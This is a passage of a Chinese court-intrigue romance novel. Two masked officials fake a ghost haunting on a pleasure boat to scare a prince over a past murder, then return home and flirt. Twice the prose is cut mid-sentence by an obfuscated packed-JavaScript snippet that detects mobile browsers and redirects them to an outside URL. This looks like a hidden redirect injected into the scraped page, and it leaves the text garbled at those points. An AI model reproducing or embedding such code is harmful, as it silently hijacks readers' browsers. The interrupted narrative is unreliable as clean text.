可只有燕修延晓得,这副乖模样底下,藏着怎样一副七窍玲珑、满肚子谋算的狐心。 燕修延转回头,指腹摩挲着自己手里的虎面,与那只软兔截然相反。 往脸上一扣,那股监察司正使的冷冽煞气,便借着这虎面散了出来,凛凛的,像头蓄势的山君,一眼便压得人喘不过气。 谢伟恒指尖抚过兔形面具的软毛边缘,将微微歪斜的面具扶正,耳尖的绒毛蹭过指腹, 软乎乎的模样瞧着半点攻击性无,唯有那双露在面具外的眼,弯着点似笑非笑的光,看向身侧戴虎面的人:“我这算不算是狐仗虎势?” 燕修延的虎面覆了大半张脸,只露出线条利落的下颌和抿着的薄唇,闻言没应声,心底却早有定论—— 哪是什么狐仗虎势,谢伟恒这只老狐狸,分明心心念念只想扒着他这只老虎的床。 该叫狐惦虎床才是。 两人并肩行至护城河边,夜色里河面漾着粼粼波光,数艘花船错落漂着。 雕梁画栋上挂的宫灯映得水面泛红,丝竹管弦声混着莺歌笑语,顺着晚风飘上岸来,闹哄哄的,偏衬得岸边两人周身的气定神闲。 谢伟恒寻了船家租船,挑的是艘极简的小画舫,唯有船头悬着一盏素色灯笼,昏黄的光团堪堪笼住方寸地,他付了银子,却摆手让船家不必随行。 燕修延立在岸边,虎面下的眉梢挑了挑,迟迟不肯抬脚:“你确定?我可不会划船。” 谢伟恒已踏上船头,衣袍被风掀了个角,他回身朝燕修延伸出手,掌心摊开,温温的光落在其上:“任他随波逐流便是。” “行吧。” 燕修延干脆利落地跳上船,脚尖落地时轻晃了下,抬手拍了下谢伟恒的手心,指尖相触的瞬间,两人都微顿了顿。 “万一漂的远了,反正你身上有钱,怎么着都能回的来……吧?” 话落,他撩开衣袍随意往船板上一坐,腰背松垮地靠着船舷:“一般这种情况,开上一坛酒,吹着风喝着酒,也是惬意。” 谢伟恒闻言便要摸银子:“我托船家去买,顺便带些下酒菜。” “我吃不下了,要吃你吃。” 燕修延连连摆手,声音低了些,嘟囔着,“吃饭时你已经喝了不少酒,我可不放心你。” 谢伟恒失笑,挨着他在船板上坐下,“原来我在燕大人这里,毫无信誉可言。” “呦,谢大人终于发现了,不容易啊。” 燕修延斜睨他一眼,虎面的眼缝窄,瞧着竟带了几分风凉的戏谑。 谢伟恒被他逗得笑出声,晚风卷着笑声,散在水面上。 肩头相抵,距离近得能闻到彼此身上淡淡的酒气与墨香交织的味道,他的手稍往外挪一点,指尖就能擦过燕修延的指节。 两人就这般静静坐着,仰头看天上的星子,夜幕沉如墨砚,星子疏疏密密缀着,亮得清透。 夜晚的风裹着河水的微凉,拂过脸颊,带起鬓边的发丝,船身随着水波轻轻晃,像摇着个温柔的梦。 谢伟恒动了动手指,笑道:“天上这么多星星,燕大人这是在想什么?” “想让这些星星都变成金子落进我的口袋。” 燕修延叹一声,双手枕在脑后,干脆躺了下去,衣袍铺展开,几缕墨色发丝垂落,恰好落在谢伟恒的手背上。 痒痒的,像有小虫爬过。 谢伟恒挑眉:“我想象不出,多大的口袋才能装得下这么多金子。” “蛇那么大的口袋就行。” “因为人心不足蛇吞象?” “哈哈哈,谢大人挺聪明。” 燕修延笑出声,笑声清朗,惊飞了岸边的几只水鸟。 他笑罢,视线随意扫过不远处的花船,目光忽然顿住—— 斜前方那艘最华丽的花船上,船头立着个锦衣男子,身姿挺拔,眉眼轮廓他记熟了的。 “站在船头的,是季风的大儿子季乐允。” 安清雅画出季乐允的画像后,只一眼,燕修延便记下了他的样貌。 这么说来,晋王多半就藏在这艘花船里。 话音刚落,季乐允便掀了船舱的帘子进去,身影消失在暖光里。 燕修延的眼神冷了几分,心底嗤笑—— 胆子倒是不小,亲王无诏私进京也就罢了,竟还敢这般大摇大摆游花船。 怎么?就算他燕修延伤了身,监察司就成了摆设? 谢伟恒的目光比他更锐,早注意到那艘花船旁,跟着一艘极不起眼的小船,船身矮,灯笼也遮了大半,行得鬼鬼祟祟,始终与花船保持着不远不近的距离。 “那艘小船,似乎在跟着花船。” 燕修延坐起身,顺着他指的方向定睛一看,虎面下的嘴角忍不住勾了勾,顿时乐了:“是白天铎和肖泽这两个小子。” 他抬手凑到嘴边,撮唇发出一声清脆的鸟鸣,声调婉转,是监察司独有的联络暗号,旁人听了,只当是夜鸟啼叫。 暗号落罢,那艘鬼鬼祟祟的小船果然调转方向,朝他们这边划来。 恰逢一阵晚风卷过,燕修延抬手一拂,船头那盏素灯的火苗便晃了晃,应声灭了。 对面小船上的灯笼也跟着熄了,夜色瞬间将两艘船裹住,只剩水波轻响。 “头儿,谢大人。” 小船靠近,白天铎压低的声音传过来,肖泽扒着船沿,脑袋探出来,眼睛亮晶晶的。 两人今日奉命寻季乐允的踪迹,偏燕修延的画功实在不敢恭维,加上季乐允总混迹在人群里,他们找了大半天,才跟着人上了花船,索性租了小船跟着,正琢磨着下一步该怎么做。 “头儿,这季乐允和中书令府的人有往来,今天一早便跟着中书令的人上了这花船。” 白天铎和肖泽一合计,便租了艘小船,计划着等靠近花船时。 由于肖泽水性极好,想着等靠近些,让肖泽从水里潜过去,爬上船底,听听船舱里的动静。” 肖泽扒着船沿的手紧了紧:“头儿,要不我直接把花船凿个窟窿怎么样?” 到时候船舱里的人肯定都得跑出来,说不定就能撞见晋王那大鱼! 燕修延闻言,抬手就想给这莽撞的小子一个脑瓜崩,奈何两艘船隔着半臂的距离,指尖堪堪够到空气。 “船上那么多歌女杂役,万一伤及无辜怎么办?这两人不用跟了,现有的那两家药铺,你们二人一人盯一家,仔细看着进出的人。” 燕修延让两人找人,不过是为了确定背后的人是谁,是否还有其他势力掺和,如今目的已达,自然不必再跟着。 肖泽立刻垮了脸,小声嚷嚷:“头儿,你不能因为今天碰见我们,就给我们派别的活啊,跟着花船多有意思。” 话没说完,腰侧就被白天铎捏了一把,疼得他嘶了一声。 白天铎狠狠瞪了他一眼,转头对着燕修延拍胸脯:“头儿放心,我们一定办好,保证盯得死死的。” 燕修延又细细交代了几句盯梢的要点,无非是注意隐蔽,不必硬拼,见机行事,待两人应下,便摆了摆手让他们走。 小船划远,肖泽才揉着腰不满道:“你刚才掐我干嘛?” 白天铎一边划船,一边头也不回:“你瞎嚷嚷什么?头儿本就看你莽撞,再废话,指不定给你派什么更累的活,盯药铺多轻松。” “可我们很少分开做任务,一个人盯着多无聊。”肖泽耷拉着脑袋。 “笨,药铺晚上又不开门,咱们晚上只管舒舒服服在家躺着,白天去盯梢就行。”白天铎道。 肖泽眼睛瞬间亮了:“这么说,倒也不错。”方才的不满瞬间烟消云散。 看着两人的小船渐渐划向岸边,燕修延重新躺回船板,语气散漫,带着点憋不住的坏:“谢大人真打算这么随波逐流下去?” 谢伟恒在他身侧躺下,船板不宽,两人肩背相贴,能感受到彼此的体温,他偏头,面具的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646208|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软毛蹭过燕修延的耳尖:“我以为燕大人心里,早憋着什么坏主意了。” 燕修延低笑,虎面下的眼眯起,果然是懂他的。 凿船这种伤及无辜的事他不会做,但装神弄鬼,搅得那艘花船鸡犬不宁,倒是个好主意。 他忽然坐起身,看向谢伟恒:“谢大人可会凫水?” 谢伟恒闻言,干脆利落地站起身,抬手解下宽袖外袍,随手扔在船板上,里衣勾勒出挺拔的身形,他挑眉:“自然是会的。” 燕修延把自己的虎面塞到他手里,又捞过那只兔面戴上,眼缝里闪着狡黠的光:“那便好,咱们去活动活动,消消食。” 话音落,两人悄无声息地翻过船舷,落入水中,只溅起两缕极淡的水花,便没了踪迹。 河水微凉,两人皆是水性极好的,屏息潜游,片刻便到了那艘华丽花船的船尾。 船尾无人值守,唯有几缕薄纱垂落,被晚风拂得轻晃。 谢伟恒抬手托住燕修延的脚踝,示意他踩在自己肩头,燕修延会意,脚尖借力,身形一跃,指尖精准搭住船舷的木沿,手臂稍用力,便翻身上了船,动作利落,半点声响无。 他蹲在船板上,扯下船边垂着的薄纱,数股薄纱拧在一起,竟也结实,能承载些重量。 将拧好的纱绳垂下去,谢伟恒抬手握住,燕修延稍一用力,便将人拉上了船,两人落地,皆是悄无声息。 戴上各自的面具,一人虎面威风,一人兔面温顺,却皆是步履轻盈,贴着船板,轻手轻脚走到船舱外。 船舱内的欢声笑语清晰传来,杯盏相碰的脆响,女子的娇笑,还有一个粗犷的男声,带着几分醉意,放声大笑。 “哈哈哈!好好好!赏!都有赏!” 是晋王的声音,燕修延朝谢伟恒递了个眼神,果然没错。 两人寻了一处背光的廊柱后藏身,廊柱旁摆着几盆绿植,恰好将两人的身形遮住。 燕修延抬手,示意谢伟恒捂住耳朵。 谢伟恒挑眉,依言抬手捂住双耳,便见燕修延敛了神色,嗓子里忽然发出一声惨叫,声音凄厉,似男非男,似女非女,在静谧的夜色里,格外渗人。 惨叫声落,船舱内瞬间静了一瞬,紧接着便是瓷器落地的脆响,女子的惊声尖叫此起彼伏。 “啊!” “什么声音?!” “好吓人!是男人的声音吧?” “不对,我听着像女人的,好怨毒!” 舱内的季乐允立刻按住腰间的佩剑,快步走到晋王身边,神色戒备:“王爷,小心!” 晋王也没了喝酒的兴致,酒意醒了大半,沉声道:“出去看看!是什么人在装神弄鬼!” 几个下人应声冲出来,船头船尾都寻了个遍,却连个人影都没看到,唯有无边夜色和轻晃的水波。 “回禀王爷,外面没人,许是别的船上的动静。” 下人躬身回话,声音里带着几分怯意。 中书令坐在一旁,捻着胡须,强作镇定:“王爷不必惊慌,想来是夜鸟啼叫,或是游湖之人的玩笑罢了。” 他的话音刚落,谢伟恒忽然抬手,指尖夹着一枚银裸子,手腕轻弹,银裸子精准砸向舱外悬挂的一盏宫灯。 宫灯的挂钩应声断裂,灯笼坠落在船舷上,里面的红烛滚出来,点燃了糊灯的棉纸。 火苗一蹿,又引燃了船舷上垂着的薄纱,薄纱本是易燃之物,沾火就着,瞬间便烧起了一小片火舌,虽不至于烧进船舱,却足够让舱内的人惊慌失措。 所有人听见一个空幽冷寂的声音忽然响起,带着无尽的怨怼,在夜色里飘着,直钻人心:“王爷,我的夫郎啊,你还记得梦雨吗?” 声音婉转,尾音颤颤,裹着哭腔,听得人头皮发麻。 燕修延捏着嗓子说完,刚要再补一句,腰侧忽然被人轻轻掐了一下,力道不重,却带着点提醒的意味。 他扭头,虎面下的眼瞪向谢伟恒,眼底写着——干嘛掐人?! 51. 那你还为了别人掐我 谢伟恒的唇擦过燕修延的耳廓,气息温温的,裹着点委屈的哑意:“你叫别人夫郎。” 燕修延后背一僵,反手就往他腰侧拧了一把,力道不轻不重,没好气道:“又不是真心叫的,装样子罢了。” 谢伟恒抿着唇,指尖轻轻蹭着被拧过的地方,语气更软,委屈快溢出来了:“那你还为别人掐我。” 燕修延:“……” 又演上了!这货是随时随地都能开戏是吧? 上辈子怕不是梨园台柱子,戏本刻在骨子里了! 他咬着牙憋出一句:“你真是皮痒了……” 燕修延话没说完,谢伟恒眼底忽然闪过一丝狡黠,扣住他的后颈就吻了上来。 唇瓣相触的瞬间,船舱里传来下人慌慌张张跑出来灭火的脚步声,杂沓的声响近在咫尺。 为免闹出动静被发现,燕修延攥着拳僵在原地,只能任由谢伟恒的吻带着侵略性的温柔,肆意扫过他的唇齿。 他在心里悔得直咬牙——收回前言,谢伟恒哪里是狐狸,分明是属猴的,没杆子都能自己竖根杆顺着往上爬! 船舱内的晋王和中书令早已脸色煞白,指尖冰凉。 梦雨…… 两个字像淬了冰的针,狠狠扎进两人心里。 他们都想到了贺梦雨。 贺梦雨,晋王的第一任小妾,国子监祭酒贺泓名的掌上明珠,当年爱慕晋王威名,自愿屈身为妾。 成婚不过半载便怀了身孕,谁料十月怀胎,竟因胎儿过大难产而亡,一尸两命。 彼时人人都叹她命薄,唯有寥寥数人知晓,那根本不是意外。 送进她房中的各式补品,一方面显示晋王府对她的用心和恩宠,另一方面也是导致胎儿过大的直接原因 晋王本就对端庄守礼的贺梦雨无意,更嫌贺泓名为人刚正、油盐不进,于他而言毫无利用价值。 他心心念念的,是中书令家的女儿何依馨。 奈何先帝指婚,他不得不从,私下里却早与何依馨暗通款曲。 晋王与中书令合谋,布下这盘死局,顺理成章取了贺梦雨的性命。 而后晋王守制三年,才风风光光迎娶何依馨为正妃,步步算计,竟半点把柄都没留下。 “定、定是有人装神弄鬼!” 中书令抖着嗓子,指尖捏着胡须都在颤,目光扫过四周,像是怕有鬼魂从暗处钻出来。 这事知情者唯有晋王、中书令、季乐允与何依馨四人,绝无第五人知晓! 晋王猛地拔下季乐允腰间的佩剑,剑鞘撞在廊柱上发出闷响,目眦欲裂:“本王倒要看看,是哪个杂碎敢在本王面前装神弄鬼!” “王爷不可!” 中书令连忙扑上去拦住他,声音压得极低,“您无诏进京本就犯忌,若被外人看见您在此地,事情就闹大了!” 谢伟恒恰在此时松开燕修延,拇指轻轻蹭过他泛红的嘴角,眼底藏着未散的笑意。 燕修延恼羞成怒,张口就对着他的手指咬了一口,齿尖轻磕,虎面下的眼狠狠瞪他——让你乱亲! 两人趁外面下人扑火的混乱,猫着腰绕到船舱另一侧的阴影里。 燕修延清了清嗓子,再开口时,已是一声凄厉婉转的女声,裹着怨毒的哭腔,在烟雾缭绕的夜色里飘得瘆人:“王爷!你与何依馨私相授受,害我母子性命!今日我便来向你索命!” 喊完便拽着谢伟恒换了另一处廊柱后藏着,不给人半点寻声定位的机会。 “咣当——” 船舱内传来佩剑落地的脆响,晋王僵在原地,脸色惨白如纸,嘴唇哆嗦着:“当、当真是她……” “王爷!” 中书令厉声打断他,扬声朝外面喊,“究竟是何人在此装神弄鬼!我家王爷刚直不阿,何曾做过害人性命的事!你休要血口喷人,坏了王爷清誉!” 晋王定了定神,阴鸷的目光扫过船舱内的歌女与杂役,眼底翻涌着杀意—— 这些人虽是中书令府养的,可方才的话难保没听进去,留着终究是祸患。 燕修延瞧着他那副模样,心底冷笑,立刻又捏着嗓子喊,声音忽而近忽而远,带着癫狂的笑意:“哈哈哈!晋王,你敢说此刻没有动杀心么?杀了他们!快杀了他们!这样我便能借他们的怨力,缠你生生世世!快一剑了结了他们!” 他太清楚晋王的性子,狠戾多疑,却又极惜名声,若是直接逼他,他定然会杀了这些人灭口; 反其道而行之,偏撺掇他动手,反倒能让他投鼠忌器—— 杀了人,便是坐实了心中有鬼,不杀,顶多将人禁足。 果然,晋王握着剑的手紧了又松,最终狠狠将剑插回剑鞘,眼底的杀意被压了下去。 紧接着,燕修延便见谢伟恒从怀中掏出一个油纸包,拆开后,里面是五颗乌黑的烟丸。 他微怔——倒没想到谢伟恒竟会随身带这东西。 谢伟恒凑在他耳边低笑:“要去抽他么?” 燕修延眼睛一亮,接过谢伟恒递来的两颗,咧嘴笑:“抽!” 指尖一弹,一颗烟丸落在甲板上,“啪”的一声炸开,黑色的烟雾瞬间弥漫开来,顺着风势往船舱里钻; 他又借着烟雾的掩护,扬手将另一颗丢进船舱,浓烟顷刻裹住了里面的人影,只听得见此起彼伏的咳嗽声。 “季乐允!” 烟雾中,晋王的声音带着慌乱,紧紧攥住了身侧的季乐允。 这一声,恰好暴露了他的位置。 燕修延与谢伟恒对视一眼,瞬间动了手。 季乐允只觉一道劲风袭向面门,连忙抬剑去挡,却被谢伟恒一记掌风打在手腕,剑鞘重重撞回他的掌心,连拔剑的机会都没有。 谢伟恒扣住他的胳膊往后一拖,将人制在原地的瞬间,燕修延已欺身到晋王面前,伸手狠狠攥住他的发髻,用力往后一扯。 “啊——!” 晋王发出一声凄厉的惨叫,脖颈被迫扬起。 燕修延反手就是一巴掌,清脆的巴掌声在烟雾里格外响亮,紧接着抬腿对准他的□□,狠狠一记断子绝孙腿。 “啊——!!” 惨叫声撕心裂肺,燕修延与谢伟恒却半点不恋战,谢伟恒甩开季乐允,两人并肩掠向船尾,临走前还不忘弯腰捡起甲板上的烟丸残壳,半点痕迹都不留下。 燕修延翻下船舷时,还不忘回头喊了一句,声音裹着夜风,冷幽幽的:“晋王,你的报应还在后头,夜里记得睁着一只眼睛睡觉!” 浓烟渐渐散去,晋王蜷缩在地上,手捂□□,疼得浑身抽搐,冷汗浸透了衣袍,脸色白得像纸。 中书令慌了神,连声喊人靠岸,转头又狠狠瞪着船舱里的所有人,声色俱厉:“今日听到的、看到的,通通烂在肚子里!谁敢多说一个字,满门抄斩!听明白没有?” 众人吓得魂飞魄散,连连点头:“明、明白了,大人!” 中书令仍不放心,心里打着主意—— 先将这些人禁足,若是查清只是有人装神弄鬼,再杀了灭口也不迟。 可若是……若是真的是贺梦雨的冤魂…… 他光是想想,就背脊发凉,一股寒意从脚底窜上天灵盖。 另一边,花船还在慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646209|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢往岸边挪,燕修延与谢伟恒早已游回自己那艘小画舫边,扒着船沿翻上去。 两人捞起船桨就往岸边划,可那船桨似是不听使唤,船身非但不往岸边去,反倒在原地打转,离岸边越来越远。 燕修延丢下船桨,拍着大腿笑得前仰后合,虎面都快震掉了:“哈哈哈!咱们俩这水平,能赶上后日上朝么?怕是要漂到城外去!” 谢伟恒无奈失笑,干脆跳下船,踩在浅水里推船:“放心,定不会让你湿着衣服在船上等到干。” “说真的,咱们今儿租船这事挺蠢的。” 燕修延也跟着跳下去,挽着衣袍帮着推,水花溅在腿上,凉丝丝的,“方才抽晋王那会,我都有直接拧断他脖子的想法。” 若是晋王死在京城的花船上,远在封地的亲眷定然闹翻天。 陛下也得头疼——毕竟晋王的外祖手里还握着一点兵权。 陛下一头疼,先前说好的军费,怕是就要打折了。 晋王的生死,只能由陛下来定,还得昭告天下,光明正大地定,这样才名正言顺,军费也才能一分不少。 谢伟恒推着船,声音温温的,却带着点冷意:“等晋王造反的时候再拧。” 燕修延眼睛瞬间亮了,一拍手:“对!这样军费还能翻番!” 他比了个拧脖子的动作,脆生生的“咔吧”一声。 到时候干脆利落一下,让他没痛苦地眼前一黑,他可真是个大好人。 而此刻的花船上,晋王□□的疼稍稍缓解,却莫名觉得后颈凉飕飕的,像是有只冰冷的手在轻轻摩挲。 他捂着脖子,脸色惊恐,声音都在抖:“她、她在摸我的脖子!鬼的手是凉的!我的脖子好凉!” 中书令咽了咽口水,看着晋王这副失魂落魄的模样,先前那点“装神弄鬼”的笃定,也渐渐动摇了。 难不成……真的是贺梦雨的鬼魂在作祟?都这么多年过去了……修、成鬼道了? 谢伟恒推船推得累了,抹了把脸上的水,忽然想起什么,转头问燕修延:“贺梦雨的事,贺泓名可曾有所察觉?” “应该是不知的。” “贺泓名为人刚正,却也单纯,当年只当女儿是命薄,伤心了许久,这些年从未怀疑过。” 燕修延“嘿嘿”一笑,“其实我先前也只知道晋王成亲前就和何依馨私相授受。” 他只觉得贺梦雨的死蹊跷。 今儿不过是一试,倒真试出了真相。 何依馨也挺有本事的,竟能让晋王连第一个长子都舍得不要。 燕修延忽然想起烟丸的事,挑眉看向谢伟恒:“你为什么会随身带着烟丸?” 谢伟恒抬眸看他,眼底藏着笑意,没有直接回答:“燕大人可猜上一猜。” 燕修延歪着头,猜道:“你提前得知晋王今日会来游湖,特意准备的?” 谢伟恒:“非也。” “那是你习惯性随身带这些玩意,以备不时之需?” 谢伟恒又摇了摇头:“非也。” 燕修延磨了磨牙,伸手就去拧他的腰:“你再非也,我就抽你了啊!” 谢伟恒笑着躲开来,终于松口:“其实是巧合。今日出门时遇见了工部侍郎,他让我带给你的,说是工部新改良的玩意,比先前的烟丸烟更浓,散得也更快,让你拿去玩。” 工部侍郎与燕修延私交极好,工部但凡做出些新鲜的小玩意、小暗器,总不忘送些给燕修延,倒成了今日的意外之喜。 ———————— 谢伟恒:非也非也。 燕修延:谁的古风夫君快带走! 52. 你真会说好听的 “确实比之前的好用,工部的人还是有点东西在身上的。” 燕修延指尖摩挲着刚用过的烟丸边沿,嘴角噙着点得意的笑,心里早盘算起小九九—— 这玩意儿轻巧,拿来装神弄鬼唬唬人,再合适不过。 回头得寻个由头,去工部侍郎那儿多讹上几箱才好。 两人合力将小船推回岸边,船家早得了赏钱,眉开眼笑地在一旁候着。 燕修延捞起搁在船板上的面具,随手往脸上一扣,遮住大半张脸,只露出线条利落的下颌和一双亮得狡黠的眼睛。 他扫了眼街上往来的行人,挑了条巷子钻进去,两人裤脚沾了水,走起来淅淅沥沥响。 燕修延嫌外袍湿哒哒黏在身上难受,干脆一把扯下来,拎在手里拧水,水珠顺着衣料往下滴,在青石板上晕开一小片深色的水渍。 “你以前也经常调皮捣蛋吗?” 他侧头瞥了眼身侧的谢伟恒,这人总是步子不疾不徐,跟他走得再急,也不见半分狼狈。 谢伟恒闻言低笑一声,垂眸看着他拧衣服的手,指尖泛着点红,是方才撑船时用力过猛磨出来的。 他缓缓摇头,声音温沉,裹着点笑意,顺着风飘进燕修延耳朵里:“只跟你干过这种事情。” 燕修延手一顿,耳根莫名有点发热,他轻咳一声,摸了摸下巴,转移话题:“那你还挺有调皮捣蛋的天份。说起来,咱们最好别湿着从正门走。” 中书令那老狐狸,指不定还在府外安插了人手,若是被人瞧见他俩这水淋淋的模样,再联想到花船上的动静,指不定又要在朝堂上揪着这点小事做文章。 两人心照不宣,绕到燕修延宅子的小门。 进了府,燕修延嫌走回廊绕路,干脆拉着谢伟恒往假山后头走,踩着堆砌的石块,利落翻身跃过高墙,落进房间里。 谢伟恒让人打来两桶热水。 热气很快弥漫了整个卧房,两个浴桶并排放着,氤氲的水汽模糊了屋里的陈设。 燕修延身上湿着难受,半点没矫情,三两下扒了衣服,赤着上身跳进浴桶里。 热水漫过肩头,熨帖了筋骨,他舒服得喟叹一声。 “呼——舒坦。” 他眯起眼睛靠在桶沿上,双手搭在边儿上,指尖轻点着水面,溅起细碎的水花。 谢伟恒不紧不慢地解着衣襟,动作从容,露出光洁的肩头和线条流畅的脊背。 他跨进另一个浴桶里,水温正好,他微微倾身,伏在桶沿上,目光落在燕修延湿漉漉的发梢上,伸手轻轻卷起一缕,指腹摩挲着发丝上的水珠,声音带着点水汽的湿润:“改日去芙蓉池泡泡,如何?” 燕修延懒洋洋地掀了掀眼皮,瞥了他一眼,没制止他的小动作,只是哼了一声,语气带着点警惕:“我可不跟你泡一个池子。” 他还没蠢到那份上,跟谢伟恒共浴,岂不是羊入虎口,把自己送到他嘴边儿去? 谢伟恒低笑出声,指尖依旧缠着那缕发丝,眼神里盛着笑意,带着点狡黠的挑衅:“燕大人对自己的身手这么没把握?” “你少激我。” 燕修延耳根腾地一下红了,想起那日在酒仙茶苑,谢伟恒突然凑过来的那个吻,柔软的触感仿佛还停留在唇上,他慌忙别过脸,闷声道:“我才不会上当。” 谢伟恒的视线却没移开,顺着他泛红的耳廓滑下去,掠过线条分明的下颌,落在他光裸的肩头,水珠顺着肩线滚落,没入水中,漾开一圈圈涟漪。 燕修延被他看得浑身不自在,默默往下沉了沉,把肩膀也埋进水里,只露出个脑袋,心里暗骂: 这人真是,色心不改! 香炉里燃着檀香,轻烟袅袅,一缕缕缠缠绕绕,在空气中慢慢散开,暖香裹着水汽,漫得满屋子都是。 燕修延半阖着眼,享受着这难得的安逸。 他长长舒了口气,声音懒洋洋的,带着点倦意:“等把虎视眈眈的异族统统打跑打服,我就辞官。上朝太累,当官好烦。” 早起练功他倒不怕,习武之人,本就该闻鸡起舞。 可早起上朝,实在是磨人得很。 那些大臣,一点鸡毛蒜皮的小事,都能在朝堂上吵上半天,唾沫横飞,最后什么问题都没解决。 最烦的是他们说话九曲十八弯,绕来绕去,听得人头晕脑胀。 有时候站在朝堂上,困得直打盹儿,还要被那些争吵声吵得睡不着。 尤其是那几个老顽固,动不动就喊着要撞盘龙柱,以死明志。 可喊了一百次,一百零一次都没真的撞下去。 燕修延有时候气得牙痒,真想让人把他们捆了,带去城外的寺庙,用他们的脑袋撞钟,省得在朝堂上聒噪。 谢伟恒看着他满脸嫌弃的模样,眼底的笑意更浓了,他手肘撑在桶沿上,支着下巴,目光温柔地落在他脸上:“我倒还好。” 顿了顿,他补充道,声音轻而坚定,“有你在。” “……你真会说好听的。” 燕修延心头一跳,像是被什么东西轻轻撞了一下,他抬眼瞪了谢伟恒一眼,又迅速收回视线,假装去看水面的涟漪。 余光却瞥见谢伟恒的皮肤,白得晃眼,衬得他自己胸口那点薄红,越发显眼。 燕修延猛地甩了甩脑袋,抬手拍了拍自己的脸,暗骂自己没出息,想什么乱七八糟的! 正走神间,手腕突然被人握住,温热的触感传来,谢伟恒的手指修长,掌心带着点薄茧,轻轻将他的手腕贴在自己的胸口上。 燕修延的指尖触到他温热的皮肤,细腻光滑,他忍不住在心里嘀咕:这皮肤真滑嘿…… 他定了定神,嘴角勾起一抹坏笑,手腕微微用力,反手一拧。 谢伟恒闷哼一声,眉头蹙了蹙,显然是吃痛了,可握着他手腕的力道,却半点没松,反而抬眼看向他,眼神里带着点委屈,又有点幽怨,像只被欺负了的大型犬:“燕大人当真狠心。” 燕修延先软了劲,松开手,看着他手腕上被自己拧出来的红痕,有点心虚,又有点嘴硬:“你对自己才是真狠心,我刚手劲可不算小,你都不松手。” 谢伟恒低头,看着那道红痕,又抬眼看向燕修延,指尖轻轻摩挲着他手腕的皮肤,笑意潋滟,眼底盛着星光:“燕大人拧到了我的心上,我怎能松手?” “……” 燕修延被他这话撩得心头乱跳,耳根红得快要滴血,他动了动手腕,没好气地说:“你好好说话,还有,把你的爪子松开。” 谢伟恒依言松开手,却没收回,指尖往下滑,勾住了他的小指,轻轻晃了晃。 燕修延瞥了他一眼,嘴角抽了抽:“你可有三岁?还要拉手指?” 谢伟恒晃着他的小指,笑容温柔得不像话,声音带着点撒娇的意味:“多大都想和你拉手指。” 燕修延别过脸去,嘴角却忍不住微微上扬,手指没抽回来,任由他勾着。 水汽熏蒸下,他的耳垂红得通透,像颗熟透了的樱桃。 两人从浴桶里出来时,都换了干爽的中衣。 谢伟恒胸口被拧过的地方,还留着一道浅浅的红痕,衬着他白皙的皮肤,格外显眼。 燕修延瞥了一眼,忍不住揶揄道:“谢大人细皮嫩肉的,花楼的姑娘们,怕是最喜欢调戏你这样式的。” 谢伟恒穿衣的动作顿了顿,抬眼看向他,目光深邃,带着点不易察觉的醋意:“燕大人对花楼的姑娘,似乎很了解。” 燕修延心里咯噔一下,暗道不好,他抓着衣襟往后退了一步,摆手道:“我就随口一说啊,你别乱给我扣帽子!” “哦。” 谢伟恒神色淡淡地应了一声,看不出喜怒,他转身走到床头,拿起一本放在枕边的书,随手翻了翻。 燕修延好奇地瞥了眼书名—— 《朱獳》。 趁 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谢伟恒合上书,指尖摩挲着封面,笑意吟吟:“秦瑞良送的,图是安清雅所绘。其实这本书在房事上的描写很少,且极为隐晦。” “骗人。” 燕修延一把抢过书,翻了几页,见里头确实都是些诗词歌赋,看着还算正经,可一想到那张图,又觉得浑身不自在,嘀咕道,“看着正经,背地里指不定藏着什么猫腻。” “夜深人静,哥哥要做些不正经的事情么?” 谢伟恒突然开口,声音低沉沙哑,带着点蛊惑的意味。 他伸手抽走燕修延手中的书,随手搁在一旁,然后上前一步,笑吟吟地搂住他的腰,稍一用力,便将人推到了床上。 燕修延哪肯乖乖就范,他身子一矮,跟条泥鳅似的,哧溜一下滑到床里头,扯过被子往身上一裹,左右滚了两圈,把自己裹成了一个严严实实的蚕蛹,只露出一双眼睛,警惕地看着谢伟恒。 “睡了,别吵吵。” 谢伟恒哑然失笑,无奈地摇了摇头,转身拿回被燕修延换掉的那本,靠坐在床头,借着烛光翻看起来:“你先睡,我看会书。” 烛火跳跃,将他的影子拉得长长的,落在床榻边。 燕修延本想闭上眼睛睡觉,可耳朵却不听话,总往谢伟恒那边凑。 过了半晌,他忍不住转过身来,面朝谢伟恒躺着。 恰在此时,谢伟恒翻了一页书,有画的那一面,正好对着燕修延。 那画上,一棵歪脖子老树上,密密麻麻长了无数只眼睛,眼白漆黑,瞳仁猩红,看得人头皮发麻。 树干上还吊着几个人影,衣衫褴褛,面色惨白,模样惊悚得很。 燕修延:…… 他猛地闭上眼睛,嘴角抽搐,无语道:“你不看些诗书典籍,怎么总爱看这些乱七八糟的东西?” 谢伟恒低笑出声,书页翻动的沙沙声格外清晰:“总要看些不一样的,作为调剂。” 燕修延气得翻了个身,背对着谢伟恒,心里把那些画骂了千百遍。 可闭上眼睛,眼前就浮现出那满树的眼睛。 一睁开眼,又仿佛看到那些吊着的人影,吓得他浑身发毛。 “……” 燕修延憋了半晌,默默转过身来,闭着眼睛,声音闷闷的:“你把蜡烛熄了,太亮了我睡不着。” “好。” 谢伟恒很是听话,他把书放到一旁,起身下床,走到烛台边,吹灭了蜡烛。 光线骤然暗下来,屋里只剩下窗外透进来的一点月光,朦朦胧胧的。 